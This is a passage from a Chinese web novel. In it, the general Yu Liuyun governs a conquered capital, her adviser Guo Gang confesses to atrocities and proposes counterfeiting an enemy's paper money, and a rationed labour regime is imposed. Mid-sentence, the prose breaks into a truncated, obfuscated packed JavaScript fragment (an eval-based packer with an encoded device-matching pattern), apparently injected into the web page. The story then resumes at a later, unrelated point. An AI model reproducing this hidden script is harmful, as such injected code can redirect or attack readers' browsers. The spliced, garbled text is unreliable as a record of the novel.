太监手里捧着一本册子:“奴才这一有记录,不过许多珍宝已经被皇叔和二皇子各自那去做军费了,所以现在剩下的大概只有其十分之一。但也都是些奇珍了。将军可先看册子,遇到喜欢的,奴才就叫人给您搬来。” “不用看了。”玉旒云道,“这些东西折合现银大概是多少?” 太监一愣:“这……这些都是无价之宝,奴才实在算不出来。” “看得见、摸得着,还能没有价?”玉旒云看方才一个自我介绍是户部员外郎的人正要离去,就叫住了他:“你户部银库里暂时不用的银子有多少?” 那人怔了怔,答道:“也没有多少,大概万余两。” 玉旒云道:“好,我就算你有一万两——”她转头命那太监:“把这些无价之宝统统搬到户部的银库里去,将一万两银子支出来。” “啊?这可使不得!”户部官员和太监同时惊呼。 玉旒云道:“怎么使不得?奇珍异宝既不能吃也不能喝,不如变成钱来用。而户部的银子又暂时只是在那里摆着,换成珠宝也是一样的。你们速速去把这件事办妥,明天之前我就要见到现银——另外,把惠民药局、各个育婴堂,各个善堂的管事人都给我叫来。我也有事要交代他们做。” 户部官员和太监面面相觑,看玉旒云丝毫也不给争辩的余地,只得应声各自退去,孙非也领命去传诏惠民药局等处的管事。一时间,太极殿上静悄悄的只剩下了玉、石二人。一国之金銮殿竟然能冷清到这地步,倒也值得感叹。 不过玉旒云只是负着手,踱到了那龙椅跟前,拿脚先轻轻地踢了两下,接着才坐了上去,便嘿嘿一笑,道:“这么不舒服的一张椅子,郑国那些脑满肠肥的家伙竟然为它打破了头。要坐上去有这么难吗?来,梦泉,你也试试!” 看她这样漫不经心地坐上龙椅,虽然仿佛游戏一般,但举手投足俨然有傲视一方的威严,石梦泉已经为之一愣。这时,听玉旒云竟叫自己也去坐,他赶忙摆手:“这……这怎么可以……” 玉旒云道:“有什么不可以的?刀剑可以一起挨,难道一张破椅子还不能一起坐的?”说时已经不容分说地把石梦泉拉了过去又按到了龙椅上:“怎样?比起你自己家里的椅子硬得多了吧?” 石梦泉这才明白什么叫“如坐针毡”,赶紧站了起来,不自在地笑了笑道:“要说家里的椅子,我倒也记不得是什么感觉了。” 果然!算算他们离开西京也有大半年了。玉旒云因笑道:“江阳已经拿了下来,局势一稳定,你就回去坐个够吧!就怕——”就怕西京现在还不知道是什么情形,回去之后能不能坐得安稳还是个问题!庆澜帝为什么一直都没有消息? 然而已经走到了这一步,去担心那些没法改变的事也是无用。这一点玉、石二人都明白,就不把话挑明。石梦泉换了个话题,道:“你要那一万两银子是想分发给惠民药局和那些善堂么?” 玉旒云点点头:“我们能够拿下郑国完全不是依靠兵强马壮,靠的是一路赈灾救济,没有打垮郑国的军队就先得着了郑国的民心。他们是冲着这一条才打开城门来迎接我们,我们怎能叫他们失望?” “我还以为你是赈灾赈出瘾来了。”石梦泉道,“能够这样拿下郑国虽然辛苦却也值得,我想这有利于长治久安吧?如果将来都这样……” “你才赈灾赈出瘾来了呢!”玉旒云打断他,“将来——将来还有哪个国家?你想要用这种法子去攻打楚国么?楚国土地广袤,人口众多。程亦风如果烧掉半个楚国,就算是把我们一年的漕粮运过去,也不够吃的。他把你饿个半死,然后又教唆些土匪强盗跟你打游击……” “程亦风是不会放火烧城的。”石梦泉摇头道,“我觉得以他的为人来说,假如遇到我们放火烧城他都会尽量带着老百姓逃走,哪怕是自己没的吃,他也会给老百姓留一口饭。” “那敢情好!”玉旒云笑道,“我就放火烧掉半个楚国,给他程亦风来个焦土战术,我……”说到这里,她忽然咬了舌头似的:“我……我说着玩儿的。” 石梦泉知道靖杨之后她已经“杯弓蛇影”。两人之前既已说好要开诚布公,于是就不再顾虑,笑道:“我知道。” 玉旒云也笑了笑:“咱们的目的是要占领楚国,又不是要毁掉楚国——不知道楚国皇帝的宫里有些什么宝贝,他们户部又有多少银两,够不够用来做战后重建的?” 石梦泉还想不到那么长远:“要说战后重建——我看郑国这里已经够棘手的了。南线已然如此,北线经过战乱还不知是何情况。” “那是未来总督的事。”玉旒云道,“顾长风一定能处理得妥妥当当。况且南线我们已经帮他收拾了不少,就看北线了——北线有什么破坏,都是刘子飞这老小子干的好事。顾长风参人可是一针见血入木三分,到时候够刘子飞受的,哈哈!” “说到刘子飞……”石梦泉不禁皱起了眉头来,“也不知他什么时候会来到江阳?” 刘子飞其实在次日就来到了江阳。他这一路上虽然处处遇到抵抗,但是郑军是各方诸侯的乌合之众,基本不堪一击,除了耽误了许多时间外,人员倒没有大伤亡。他觉得自己这仗打得还算漂亮,兴致勃勃地冲到了江阳城下,打算用千军万马之势吓破守军的胆子,然后不费吹灰之力将城拿下,就可坐下来等着玉旒云,欣赏欣赏这黄毛丫头恼火的神情,并顺便教训她一句:年轻人,不是让你跟着到北线来做我的后援吗?你偏偏要自己在南线打。碰钉子了吧?没关系,遇到点挫折是好事,好好学着吧。 正是这种洋洋得意的情绪使他看到江阳城楼上樾军旗帜时疑心是自己花了眼,再仔细一看,正中一面黑底绣金的大旗可不正是玉旒云的么。他不禁又惊又气,转身怒冲冲对郭罡道:“怎么会这样?你不是说他们被洪水困住了么?” 郭罡只耸了耸肩:“将军,老朽是个谋士,可不是神仙。他们应该是被水困住的,怎么会……” 刘子飞恨恨道:“早知道就不花时间跟乔日新这老匹夫周旋了,现在被他跑了,又耽误了时间——” “将军,”郭罡打断刘子飞的牢骚,“世上若有‘早知道’,乞丐都当了皇帝。到这光景,既然已经被人抢了先,就该想想接下来如何应付,光慨叹有什么用?” 刘子飞当然理会得:“依你看要怎么处置?” 郭罡拈了拈胡须:“将军也说要‘依我看’,当然要先进城去看一看才知道了!” 刘子飞觉得他这是句废话,好像存心说来气自己似的,但是也不敢发作。一路作战,他发觉郭罡这人的确有些鬼才——虽然郑军的确不堪,但若不是郭罡处处有奇思妙计,恐怕还得多纠缠些时日,今日还到不了江阳呢——若是让玉旒云尽得城中的各种珍宝回去献给庆澜帝,自己岂不是亏大了?他便把心里的怨气压了压,下令开进江阳城。 城上这时负责防务的是卢进的手下,一早注意到他了,立刻通知卢进,这健锐营督尉就带着一队亲兵迎出城来:“刘将军,辛苦辛苦!” 刘子飞鼻孔朝天“哼”了一声算是招呼,径自打马入城。后面赵酋、陈灏则早就惦记着战友了,纷纷上来问长问短。两边各自的经历岂是几句话能够说完的?卢进道:“先去见了玉将军,回头再慢慢聊!”由于城中已经有健锐、步军和神弩三营官兵,无法再容纳前锋和骁骑两营,赵、陈二人即命令士兵就地扎营休息,他们则跟着卢进来到城中。 这时候玉旒云正在郑国皇帝的御书房里召见惠民药局和善堂的管事。卢进在自己出城迎接之时就已经往皇宫里传了消息,所以玉旒云早就晓得刘子飞来了。但她偏偏就装做无暇理会的样子,任刘子飞闯进了门来也仿佛没看见。直到刘子飞气呼呼地咳嗽了一声,她才略抬了抬头:“啊,刘将军到了?待我把银子分好就来听你汇报。”语气是这样的轻描淡写,好像刘子飞不过是来她家里闲聊一般,但又偏偏用上了“汇报”这个字眼,上下级之分不言而喻,刘子飞气得差点儿跳了起来:“你——” 郭罡在一旁拉住了,轻声劝道:“将军,小不忍则乱大谋,跟她生气有什么用?要找准要害,定能把她也气得跳起来。” 刘子飞将信将疑,不过知道玉旒云一向刻薄,若只和她斗气,恐怕自己先被气死,于是就问郭罡道:“你看要害在何处?” 郭罡笑而不答,看看四周,见站得离自己最近的是一个太监,就凑上前去,问道:“玉大人在分什么银子呢?” 这太监不晓得樾军之中也有派系之分,凡见了樾军中人就当是主子,即原原本本将玉旒云用宫廷珍宝换户部库银又分发给一众善堂的事说了。他自己虽然心疼那些稀世珍宝,但是不敢说玉旒云半句坏话:“玉将军可真是爱民如子哪!” 郭罡微微一笑:“那也要爱的得法才行啊!”太监正不解他此话何意,郭罡已经大步走上前去,拨开等着拿银两的人群,径自来到玉旒云的跟前:“大人,发银两的事,万万不可做。” 玉旒云早就盘算着要怎么找他算帐了——这只黄鼠狼,本来是养着打算对付老狐狸公孙天成,不想先咬了自己。她恨不得把此人剥皮抽筋,聊解心头之怨。如今这家伙正往自己的刀口上撞来,没理由不收拾的。于是,她冷笑一声:“怎么,银子不发给他们,难道还送给你不成?” 郭罡没有被她语气中明显的杀意所震慑,还是保持着笑容,捋着胡须道:“就算大人把银子送给我,我也不会要的。这时候要银子有什么用?沉沉的跟一堆石头没什么分别!” 此刻正轮到慈济堂的管事领银两,给郭罡无端搅局,不由恼火,道:“你嫌银子重,莫非是想要银票么?” “非也,非也!”郭罡摇头晃脑,“银子我都不要,银票就更加不要了——跟废纸有什么两样?” “郭罡!”玉旒云“啪”地一拍桌子,“你做的那些好事我还没找你算帐,现在又来胡闹些什么!” “大人,郭某并非胡闹。”郭罡拱手一揖,“我只是想告诉大人,战乱方定,要安抚百姓,发银子是根本解决不了问题的。” 玉旒云白了他一眼,仿佛是说:你也懂得安抚百姓?我还以为你只晓得残害无辜! 郭罡指着桌上散放着的几锭银子:“这是什么东西?既不能吃,也不能喝。如今青黄不接之时,缺的是粮食,不是银子。” 众人都觉得他说话实在是毫无道理:难道银子不能用来买粮食么?慢说粮食,有钱不是能使鬼推磨么? 郭罡当然知道大家的心思,看到桌上还有一副围棋,就抓了一把黑子洒在桌子中央:“比如这就是现在京中所有的粮食,因为粮少人多,所以价钱很贵,姑且算是一两银子一斤。原本能出得起这种天价的人若有十个,现在大人从国库中发了这么多银子出去,有钱人就变成二十个。可是,粮食却还只有这么多。米商看看行情,还不顺势涨价到二两银子一斤?” 有些善堂管事还未反应过来,玉旒云却已经理解了他的意思,心下微微一惊:这么简单的道理为什么自己不曾想到呢?但是却不肯在郭罡面前认输,反而道:“那便如何?少数几个富商巨贾还能斗得过国库去?现银目下没有,用户部官票不就行了?我就不信有银子买不来粮食!” 郭罡嘿嘿干笑:“发行户部官票的确可以使大人和这些善堂一夜暴富,可是,京城的粮食依然没有变多。便是真如大人所愿,让这些粮食都进了老百姓的厨房,米商们拿着那一大堆户部官票要去买什么?除了米之外,还有油盐酱醋青菜萝卜鸡鸭鱼肉——大人如果为了某一群人而发行大量户部官票,只会造成物价飞涨,而人人手中都有钱买不着东西!” “这……”玉旒云一时无言以对。旁边郑国户部的官员也想起了前车之鉴:“要说起来,三十年前也是皇子争位乱起萧墙。先密王爷主管户部,私自发行大量官票用来招兵买马收买人心,结果市面上官票太多,原本一百两官票可以供一大家子人生活一年,官票泛滥之时,连一斤米也买不到。店铺都开始只收现银,所有手里有官票的人都争相去银号兑换现银,许多银号便关门停业。密王爷见事情不妙,下令说户部官票不得兑换现银,只能用于易货。而所有做买卖的,只想花掉手中的官票,没一个愿意接收的。官票一夜之间变得同废纸无异。由于官票开始面市的时候,都是收了密王爷贿赂的官员拿去古董店珠宝铺买翡翠珊瑚的,所以这些店铺里官票最多。那禁止兑换的命令一出,这些店铺纷纷关门,有好几个掌柜还寻了短见。这事越闹越大了,密王爷被夺爵软禁,那套官票也就弃之不用。大家都被这场风波高怕了,大概总到了十年前,户部才又有新的官票见市。” 玉旒云也知道自己先前把事情想得太简单:当务之急是恢复郑国的秩序,让老百姓各务其业,不要让秋天的收成受到影响——当然,那是顾长风需要担心的事——可她却想当然地拿国库的银子资助善堂……石梦泉先说她“赈灾赈出瘾来了”,倒还真有点儿道理!幸亏是郭罡提醒,她想,否则可不闹出麻烦来? 只是善堂的管事都来了,难不成现在把发出去的银子要要回来么? 她正犹豫,却听刘子飞哈哈大笑道:“唉,玉大人,你毕竟还是年轻。郭先生见多识广,你该多听听他的意见。有道是,不听老人言,怎么样的?” 玉旒云一咬嘴唇:本来郭罡之言甚是有理,就请教请教他有何解决方法也无不可。但是他和刘子飞沆瀣一气,谁知道他究竟打得什么主意?已经被他的花言巧语蒙骗过一次,决不能再上当!这样一想,她即冷冷一笑:“刘将军,这里到底应该是谁发号施令,好像不是看年纪大小。论军阶官职,你的品级比我低,论君臣纲常,好歹我是皇亲国戚,贵为公爵,多少也算是你主子,我在这里办事,什么时候轮到你指手画脚?” “你……”刘子飞简直气得要跳起来,“你私自兴兵,你……” “哼!”玉旒云截断他的怒骂,“我私自兴兵,难道你就有出兵的圣旨?我攻城掠地光明正大,你们两个在富安做了些什么?你们自己心里最清楚。我看,今天要不把这事办了,你还不知要得意到几时!” 刘子飞索性就扯破了脸来:“我在富安做了什么事?你怎么不说说你自己先在富安做了什么?我和你比起来,真是天上地下!再说,如果不是我在富安破坏那机关,你能够这么顺利……” “刘将军!”正好石梦泉从门外走了进来,及时喝止他的后半句话。“将军方才进城,理应先去休息,富安有什么事,也不必这时议论。” 刘子飞正恼火,不听劝,反而高声道:“石梦泉,你算是什么东西?竟然也这样跟我说话?我爱在什么时候做什么事,你还不够资格管!” 惠民药局和一众善堂的管事虽然是来受人恩惠的,但是多少都带着点儿亡国奴的悲哀。如今见到侵略者自己吵了起来,心里都有种说不出的解恨,大家心照不宣地立着,饶有兴趣地看好戏如何继续。不过石梦泉考虑的周详,此时已出言赶他们:“善款明日再继续分发,请各位先回去吧!”这些人无不暗暗跺脚,但面上谁也不敢表现出来,一一行礼告退。 刘子飞还没有闹够:“你让他们走干什么?你怕他们知道玉旒云能有今日靠的不是她自己的本事么?” “将军,”郭罡在一边轻声提醒,“不要给郑国的小民看笑话。” “谁敢笑?”刘子飞还兀自嚷嚷,“我看谁敢笑!” “你给我住口!”玉旒云厉声喝道,“在军队之中你爱怎么出丑我懒得理会,不过你要在外人面前丢整个樾军的脸,我绝不允许。我不要别人以为我玉旒云的军队是为了胜利就可以不择手段的。” “你的军队?军队什么时候变成你的了?”刘子飞愈发起劲,“你……” 他还要继续骂下去,郭罡硬是拉住了:“将军,我……”后面的话附耳而言,玉、石二人都不曾听见。不过,看刘子飞眉头先是皱起,接着又松开了,仿佛在说:果真?而郭罡就神秘兮兮地点头微笑。 “好!”刘子飞道,“玉旒云,你爱自说自话,你就自己玩个够吧!”说着,一甩袖子,转身与郭罡出门而去。 玉旒云看着这两个人的背影,“哼”了一声,将桌上方才郭罡摆弄过的围棋一推,两只青花细瓷缸登时摔个粉碎,黑白棋子滴溜溜滚了满地。石梦泉看着她铁青的面色,正不知要如何相劝,忽见她又抬眼朝自己微笑了起来:“我险些被这两个混账气糊涂了。要是在郑国官员面前提起水淹靖杨之事,好不容易才得来的民心岂不又要失掉?幸亏你及时提醒。” 石梦泉笑了笑:“大人不是嘱咐过我要时刻帮你看清左右,免得犯错么?我正好经过门口,既是分内之事,又是举手之劳……就不知道这两人人神神秘秘有何企图?” 玉旒云摸了摸眉心,找不到答案。 石梦泉道:“不是听说了大人要分发善款,所以存心来捣乱的吧?” 玉旒云沉吟不语:石梦泉并没有听到郭罡方才的一番言论,所以才有此一问,而玉旒云看来,虽然害怕郭罡再次暗中陷她与不义,但乱发银子的事也决不可在继续下去。然而,江阳百姓迎她进城是指望着她力挽狂澜扭转乾坤,将大家的生活恢复到战前——即使不能一夜之间成为太平盛世,多少也要做出点成绩来……伤脑筋…… “这事……”才要跟石梦泉商量,却见到孙非已经送完诸位管事转了回来:“玉将军,石将军,卢督尉带着骁骑营和前锋营的督尉在外面等着召见呢!” “看,我竟把这事忘了!”石梦泉一拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵酋他们这班年轻将领,本来就对刘子飞没什么好印象,瑞津吕、刘夺权之后,大家更是把他恨得牙痒痒的,无奈身份悬殊,敢怒而不敢言。现在玉旒云放出话来要牵头弹劾,当真大快人心。赵酋道:“真写出来,恐怕写成一本书那么厚,皇上要看几天几夜才看得完。” 卢进一边笑道:“看都要看几天,那你写岂不是要写几个月?” 赵酋搔了搔脑袋:“他做了一辈子的恶事,我写几个月写完也算是动作相当快了。” “我等不了几个月。”玉旒云道,“这参他的奏本必须要和战报一起八百里加急递送回京。而且我的战报一定要抢在刘子飞之前,免得他和郭罡造谣生事。所以我最多给你三天时间,你要把这件事办妥。” 赵酋听了,道:“那属下岂不是片刻也不能耽搁,马上的开始写了?” 陈灏也道:“我们进城来也有些时辰,该回军营去巡视。玉将军还有许多正事要办,属下们就此告退。” 玉旒云点点头:“也好,本来我应当亲自去军营里慰问战士们,不过城中杂事太多——梦泉,不如你替我走一趟?” “好。”石梦泉顿首答应,和卢进、赵酋、陈灏一起出了御书房。 一直侍立在外的太监见客人离去,才进来收拾满地棋子。玉旒云本来提笔欲写战报,可是看到人影在自己面前晃来晃去,就集中不了精神,索性搁了笔到外头来换换心情。 郑国虽然和樾国一样地处大青河北,但是郑国靠海,气候湿润,三月里正是百花齐放,春意盎然。皇宫经历了几个月的变乱,疏于打理,花卉盆景挣脱了原先的枷锁,反而多了几分自然之趣,玉旒云信步闲游,不知不觉就来到了御花园中,这时就忽然听到背后一个声音道:“大人,恭喜大人得偿所愿!” 是郭罡!玉旒云的好心情顷刻荡然无存。她倏地转过身来,盯着这个丑怪的男人,道:“你不是和刘子飞办大事去了么?又鬼鬼祟祟地跟着我做什么?” 郭罡面色如常:“写一封污蔑诋毁大人你的战报,刘将军应该还得心应手游刃有余;如果是敲诈财宝霸占美人,缺了我出谋划策,他大概就闹不出满城风雨了。” 玉旒云虚起双眼:“他在北线作恶多端是你怂恿的?” 郭罡道:“正是。钦州太守的女儿本来只不过是站在城楼上寻死觅活想吓唬吓唬刘子飞,是我把她推下去的。她的未婚夫自杀,临死的时候根本也什么也没有说过,那些恶毒诅咒是我传出来的。占领区暴乱是我挑唆,也是我献计镇压——刚才赵酋有没有跟大人说,刘子飞把参加暴乱的人全部肢解,丢在太守府门前让军中的狼狗去吃?这主意也是出自我的手笔!” 玉旒云南征北战,什么血腥场面没有见过?但听郭罡这句话,险些没吐了出来。而郭罡还洋洋自得地继续说下去:“大概赵酋告诉大人,现在北线占领区内百姓道路以目——其实我建议刘子飞实行保甲连坐,如果有一人造反,他同一甲的所有人都要全家杀头。如果有两人生事,则其同一保内所有人都要凌迟。如此严刑峻法,还有哪一个敢不老实?” “浑蛋!”玉旒云下意识地往腰间拔剑,抓了个空,才想起佩剑放在御书房里,只能用手指着郭罡,厉声道:“你这阴险狠毒的小人,做出这么多伤天害理的事情来,就不怕我杀了你?” 郭罡毫无惧色:“我当然怕大人杀我。不过我更觉得奇怪,以大人的脾气,怎么到现在还没有杀我?莫非大人你自己心里也明白,我做的事情虽然卑鄙,但是对你却都大有好处?” “你胡说八道些什么!” 郭罡道:“难道不是么?我水淹靖杨,不仅为大人扫除了沿途的敌军,又让大人做了与百姓同甘苦、共患难的英明主君。我怂恿刘子飞在北线烧杀抢掠,第一是将乔日新逼到了大人的掌握之中;第二,就让刘子飞的恶行深入人心,同大人的善举成为鲜明对比;第三,我给了大人一个光明正大除掉此眼中钉的机会;第四——这所有的一切坏事都是我做的,大人可以推得一干二净,无论是皇上面前,还是石将军面前,大人都不需要愧疚。” “你……”玉旒云的手微微颤抖。 “如何?”郭罡望着她,“大人是打算让我好人做到底,送佛送到西,跟刘子飞一起获罪,还是你心有不忍,愿意放我一条生路,好让我继续留在你身边效力?” 玉旒云一时说不出话来:她不得不承认,郭罡说的一切都是事实。然而,与其说这个人是在帮助她,倒不如说这个人是在操纵她。她是不甘受制于人的。她想方设法摆脱这个阴险小人地掌握,然而到头来,一切都还在他的计算之中!把牙一咬:不管这人还有什么阴谋,总之杀了他,就一了百了!想着,一掌朝郭罡的脖颈切了下去。郭罡身无武功,躲闪不了,登时被推倒在地,玉旒云跟着一脚踏住他的胸口:“不要妄想用激将法骗我继续受控于你。你奇怪我为什么不杀你?我现在就杀给你看!” “大人……”郭罡道,“我当初既然投靠你,就是为了要替你创一番事业,就算为此而死,也在所不惜。今天你既要杀我,就容我把最后的话说完。” 哼,玉旒云暗想:别人就是“人之将死,其言也善”,郭罡阴险狡猾,死到临头还不知要玩出什么花样来。不听也罢,免得被它扰乱心神!想着,加上了几分力气,眼看就要将郭罡的肋骨踏断。 郭罡几乎喘不过气来:“大人,我尚有两条大计可定天下,一定要和大人说——第一,战乱之后要稳定民心,防范趁乱发财的奸商,就要将占领区当成军队一样管理。所有日常用物要收归军方,百姓按人头每月领取,稳定之后,才可逐步恢复货贸交易。其间如果发现有人私自贩运货物,应立即斩首,以儆效尤!” 玉旒云根本无心听他说话,只冷冷道:“什么大计,你不如去和阎罗王说!” 郭罡的面孔已经涨成了紫黑色,却还继续说道:“第二,大人要拿下楚国,应该趁其软弱之时。如今程亦风在楚国变法,庙堂江湖一片新气象,过不久也许就恢复往日的富强。大人想要轻易地拿下楚国,就需要破坏新政。而最简单的方法就是……” “最简单的方法就是把大青河堤炸了,把整个楚国淹了,是也不是?”玉旒云冷笑。 “不,”郭罡道,“有比那更简单的办法。” “噢?”玉旒云一怔,脚下的劲力减了几分。郭罡胸口一松,咳嗽两声,使劲喘着气:“不错,正是有更简单的方法。用银子就可以。” “什么?”玉旒云简直不知道这人是不是在寻自己的开心。 郭罡道:“方才我不是和大人说过么?假如一个国家的银票太多,就会造成物价飞涨,有钱买不着东西。如果大人派遣细作假扮商人去楚国大量采购粮食、布匹、矿石,势必造成楚国人钱多货少,陷入混乱,程亦风的新政自然也就不能继续下去。说不定,他还会被追究责任,丢掉乌纱帽。” “你说得到轻巧!”玉旒云道,“我从什么地方变出这许多银票来?” 郭罡道:“银票这东西不比银子需要铸造,银票只要印就行了。刚才在御书房大人不也说要多多印制户部官票么?郑国的银票可以印,楚国的当然也可以印。” 玉旒云虚眼睨着他冷笑:“官票宝钞为了防伪都是多色套印,如果没有印版,根本仿造不出来。若要研究仿制楚国官票印版,那得要花多少功夫!” “何必要研究呢?”郭罡道,“大人叫你在楚国的细作去偷一套印版不就行了?” “谁说我在楚国有细作?”玉旒云盯着他。 郭罡面色恢复往常,笑了笑:“自古交战讲求知己知彼,以大人的智谋,若不在楚国安插细作,那才是一件奇怪的事。” 玉旒云负着手:要派人去偷楚国宝钞印版,只要身手了得,应该也不是很困难。按照郭罡的计策,印制大量伪制宝钞,将事关国家命脉的粮食、铜铁煤炭等等统统秘密购入樾国,既可壮大自己的势力,又可以是楚国陷入混乱,说不定还能顺手除掉程亦风……这不可不谓一条一举夺得的好计!而且,她想,这不像水淹靖杨,完全不会害到无辜百姓的性命,就连石梦泉也应该不会反对! 于是,踱开两步,折下一枝盛放的牡丹花,嗅了嗅,又丢掉。“你起来吧!”她对郭罡道。 “谢大人。”郭罡拍了拍灰尘。 玉旒云见他站着不走,道:“做什么?我不杀你,可没有说要留你在身边做事。” 郭罡道:“是,现在也还不是我回到大人身边的时候。不过我有三样东西要交给大人。请大人过目。” 玉旒云皱了皱眉头,转身看,见郭罡手中有三只信封。不晓得有搞什么鬼?她拿过来拆开一只,见里面是此次东征郑国的战报,从富安开始,一直写到了进江阳,全是从玉旒云的角度来记述的。虽然对南线诸事记载得并不完全属实,但是前因后果滴水不漏,从平铺直叙中显示出主帅非凡的才能,又赞扬了众将士的英勇顽强,任谁也挑不出毛病来。 玉旒云不觉惊讶地瞥了郭罡一眼。后者只是面色泰然地站着:“大人若有补充,可以在誊抄的时候加进去。这战报只要能在今夜八百里加急递送,刘子飞就绝不可能恶人先告状。” 玉旒云“哼”了一声,虽然觉得这战报对自己有些帮助,但并不想领郭罡的情。再说,她的战报要同弹劾刘子飞的奏本一起递送,什么时候送得出,就要看赵酋那边的动静了。她又拆开第二封信,不由一怔:这里面记录了刘子飞在北线作战时烧杀劫掠的一举一动,底下具名是“草民郭罡”。玉旒云不禁惊道:“怎么,你自己来参刘子飞?” 郭罡嘿嘿一笑:“我帮大人凿穿了刘子飞的船,却没有必要和他一同沉下去淹死吧?大人肯定已经着手弹劾刘子飞,我作为他的军师,肯定也脱不了关系。我当然要出面参他,把什么都推到他身上,才能保住自己的老命。” “在主人背后捅刀子,”玉旒云冷笑道,“你似乎一向如此。” 郭罡不以为意,等着她拆看第三封信。这一封比其他的都要厚些,内中详细描述了在占领区维持秩序,实行军事化管理,并逐步恢复生产的步骤。玉旒云先听郭罡说时,完全没有在意,这会儿看到了,不觉越看越赞同,一气呵成,茅塞顿开,竟忘记了要同郭罡摆那冷面孔,惊喜交加地望着他:“你……你居然还有这些见识?” 郭罡一揖,表示“过奖了”,微笑道:“阴谋诡计是用来争天下的,但是定天下,治天下,需要的就是大智慧。区区不才于阴谋诡计和治国之道都有些研究,愿意为大人效劳。” “那……”玉旒云本来想说“那真是太好了”,但是猛然又记起郭罡给自己带来的麻烦。人常说,宁愿养一条忠心的狗,也不要养一头吃主人的老虎。她必须要先想办法驾驭郭罡,否则,她不能留此人在身边。 于是,冷下了脸来:“效劳不效劳等等再看。我今天没有在御花园见过你,你也没有见过我。你走吧。”说着,自己先快步走到杨柳深处去了。 郭罡望着她的背影笑了笑,把那朵被她丢弃的牡丹花拣起来,一边欣赏,一边走出了御花园去。 67. 第 67 章 玉旒云的战报以及弹劾刘子飞的奏本是在第二天夜里快马送出的。刘子飞的战报其实也在同一时间交给了传信兵,他按照郭罡的建议在奏本中严厉批评玉旒云只争个人功绩不顾大局,又吹嘘自己水淹靖杨神机妙算,殊不知这一切的一切,都已经被郭罡在草拟给玉旒云的战报中巧妙地驳斥了,他写得越多,就是把自己的坟墓挖得越深。 玉旒云的奏本中除了汇报情况,还有建议将郑国的州县合并为樾国东海三省,任命顾长风为总督,罗满为总兵。她表示自己和石梦泉将维持地方秩序,直到新总督、总兵上任为止。她推算这奏章送到西京,庆澜帝批示并派遣官员,直至官员来到,至少要一个月的时间。这时候最好按兵不动,紧紧把兵权握在手中,万一赵王爷有什么异动,她不至于手无寸铁,坐以待毙。 此外,一个月的时间足够她按照郭罡的建议对江阳进行军事化管理了。她先把国库中的银两集中起来,将江阳城中所有米商的粮食全部按照平价收归国有。然后通令全城,废止市场交易,实行中央配给,不劳动者不得食。一切成年男丁——除了手艺人之外,需要和军队一起在城周围开垦耕种因战争而荒废的土地或者修复水利工程,而成年女子就必须养蚕、纺纱、织布。年老体衰不能做重活者,视其情形或者进入手工作坊,或者负责农垦队的伙食。身有功名者可免除体力劳动,但是必须进入义学、官学或者私塾教书课徒。所有五岁以上未成年孩童,无论男女,必须进入学校或者跟手艺人学艺。任何游手好闲者,军方将扣发其口粮。这些政令甫一出台时,在江阳百姓中造成了不少慌乱,有人担心樾军将把所有男丁征召入伍,或者把所有女人带去西京作奴隶。不过,忙碌了一段时间,大家都习惯了,尤其本来很多孩子只能在家里帮助父母做农活,现在或者上学去,或者出门学手艺,回到家中,少不得把自己的经历眉飞色舞地说给父母听。父母怎不欣慰万分。而江阳街市本来有些地痞无赖,自己不事生产,专门向人敲诈勒索,美其名曰“保护费”,军方的政令一出台,这些人立刻慌了神,有些想钻空子的,被拿住充军,剩下的人不得不“改邪归正”参加农垦。商人大概是受影响最大的,本来靠买卖赚钱,现在交易停止,岂不是没了活路?他们犹豫再三,壮着胆子选出了几个代表,但始终不敢去找玉旒云。正没摆布处,玉旒云却派人来找他们了—— 玉旒云召见了郑国最大几间商号的老板,问他们是否愿意为朝廷效力。几位老板哪拿敢有半个“不”字?于是玉旒云就吩咐他们每个人写一份生意明细,包括买卖何种货物,产于何处,进价多少,获利几何,怎生运输,等等。本来这些都是商家的秘密,但是她问,这些人不敢不据实回答。玉旒云向他们收取“答卷”时笑嘻嘻地向他们保证,这些资料只有军方的人知道,对他们日后的生意有百利而无一害。老板们将信将疑,唯唯诺诺地退去。玉旒云按照郭罡的建议将答案汇总起来——很快就发现了郑国的棉花产在西北建洲,丝绸产在东海宁洲,茶叶大部分依靠从楚国和西瑶运入,而最大的药材交易之所原来就是靖杨。她比较各个商号的经验和实力,为各项生意拟定了两个领头人,名单交给吏部,让他们从户部和工部找出八个六品的官衔来,在新总督到来之前,这八个人作为军方的采办人负责恢复京畿地方的这四种货品的供应,而粮食和盐则继续由户部督办。 官员们早先也怕玉旒云的稀奇政令会搞得郑国乌烟瘴气。但是强制劳动实行之后,京师秩序井然,大家也就对她的政策放下心来,按吩咐执行,并暗想:还以为她不过会带兵打仗,原来治理一方也有许多奇思妙想。 石梦泉并不知道玉旒云的这些政令都是来自郭罡,对短短半个月就取得的成绩惊叹不已。玉旒云则犹豫再三要不要把郭罡的事告诉他,最终还是没有说,只想:我将来也不至于要倚靠这黄鼠狼,先把这里安定下来,回到西京将刘子飞扳倒,待大局稳定再做定夺。可是因为之前在汇昌和石梦泉说好了大家互不隐瞒,所以心里有些不安。但又想:我做的不是伤天害理的事,应该无甚大碍。 到了八家商号的老板领受六品官职的时候,礼部的官员也把科举的考题拟定好了亦选择了考官,都叫玉旒云批示。玉旒云只问了问正、副总裁都是何人,答说原是牢里关着的两个主战派老学究张大人和刘大人都想通了,所以出来主持考试。玉旒云纯是出于礼貌同他们见了一面,至于他们说考什么,又打算如何判定高下,她一概放权不问,信任他们必能为战后的郑地选拔出优秀的官员来。 考试进行了三天,之后判卷又用了十天的时间,便取出头十名来。本来这十名应该是呈送皇帝御览,在此非常情形下,自然也就送到了玉旒云的跟前。 卷子呈上来时,正好刘子飞也在——他终日无所事事,在玉旒云的眼皮子底下也不敢公然做些强占民女的事,就多在皇宫里晃悠,找过去郑国皇帝豢养的戏班解闷。无聊时,他就要来玉旒云面前刺两句,以为乐趣。只不过玉旒云忙得根本没心思理他,他每次跑来,都是自己无趣。 这日看到考卷送了上来,不待递到玉旒云面前,他就先抓了一份来:“玉大人,你我都是武夫,别糟蹋别人的文章了,郭先生学问好,叫郭先生看看!”便递给身边的郭罡。 玉旒云懒得跟这无赖一般见识,冷冷道:“都拿去,我正好还有忙不完的事呢。” 可她才说完,正总裁张大人就道:“不行,这卷子一定要玉将军亲自看。” 